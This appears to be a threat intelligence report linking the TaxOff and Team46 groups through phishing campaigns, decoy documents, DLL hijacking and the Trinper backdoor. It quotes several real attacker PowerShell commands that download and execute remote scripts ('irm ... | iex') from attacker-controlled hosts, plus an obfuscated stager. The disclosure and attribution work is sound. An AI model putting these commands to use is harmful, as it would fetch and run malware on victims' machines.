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The attack that caught the attention of experts occurred in mid-March 2025. The initial attack vector was
a phishing email containing a malicious link. When the victim clicked the link, it triggered a one-click exploit
(CVE-2025-2783), leading to the installation of the Trinper backdoor employed by TaxOff. The phishing email

was disguised as an invitation to the Primakov Readings forum and the link led to a fake website hosting
the exploit. The text of the email can be found in the Kaspersky report.

During the investigation of that attack, another attack, dating back to October 2024, was discovered, which also
began with a phishing campaign. The malicious emails contained an invitation to participate in an international
conference called "Security of the Union State in the modern world."

Figure 1. Decoy document used in the October 2024 attack

The email structure and style are very similar to those observed in the March 2025 attack.

The October 2024 email contains the following link: https://mil-by[.]info/#/i?id=[REDACTED]. Clicking
the link downloads an archive with a shortcut that launches powershell.exe with this command:

-w minimized -c irm https://ms-appdata-query.global.ssl.fastly.net/query.php?id=[REDACTED] | iex

Earlier, we saw a similar command in Team46 attacks:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | i

The PowerShell script downloaded after the execution of the command is also similar to one of the scripts used

by Team46. Here is how the downloaded script looks like:
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powershell.exe -w minimized -ep bypass -noni -nop -c Invoke-Expression $([char](10+0x18+0x2)+[char](100)+[char]

[REDACTED]

After deobfuscation, the script appears as follows:

iwr 'https://ms-appdata-fonts.global.ssl.fastly.net/docs/minsk2025v1/[REDACTED]/document.pdf' -OutFile $env:LOC

For comparison, here is a similar script found in a Team46 attack:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv4801

As you can see, the same pattern is used to name the decoy document on the victim's computer (umawbfez-bkw5-

f85a-3idl-3z4ql69v8it0.pdf and 399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf). In both cases, the Edge User-
Agent is used when downloading the decoy document, and the Yandex Browser User-Agent is used when

downloading the payload. Moreover, in both cases, the computer name is passed via the query parameter.

The only real difference between those two cases is payload. The earlier attack, as described by Dr.Web, exploited
a DLL hijacking vulnerability in Yandex Browser (CVE-2024-6473), with the adversaries replacing

the legitimate Wldp.dll library to launch the malicious payload. In the October 2024 attack, the adversaries
exploited the rdpclip.exe system component, which is also vulnerable to DLL hijacking, and replaced
the winsta.dll system library.

Interestingly, winsta.dll serves as a loader for the Trinper backdoor employed by the TaxOff group, which
we described earlier. The backdoor used the common-rdp-front.global.ssl.fastly.net C2 server.

This could be dismissed as a coincidence if it weren't for a similar attack recorded in September 2024.
The phishing emails sent out by the attackers contained an archive called Корпоративного Центра
ПАО «Ростелеком».zip, which included a shortcut called Ростелеком.pdf.lnk that launched powershell.exe

with a command typical for Team46:

-w hid -ep Bypass -nop -c "irm https://srv510786.hstgr.cloud/ordinary.php?id=9826fbb409f65dc6b068b085551bf4f3 

The decoy document used in the attack was disguised as a message from Rostelecom, Russia's largest digital

service provider, notifying of upcoming maintenance outages.
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Figure 2. Decoy document used in the September 2024 attack

The phone number at the end of the message is in the Team46 style (which we discussed in our earlier article):

it is incorrect and consists of a random sequence of digits. 

The payload in this attack was the AdobeARM.exe file, which happens to be a loader for the backdoor used

in the first known Team46 attack described by Dr.Web. In fact, when analyzing one of the incidents,
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we discovered this backdoor, also dubbed AdobeARM.exe, on a system with the Trinper backdoor.
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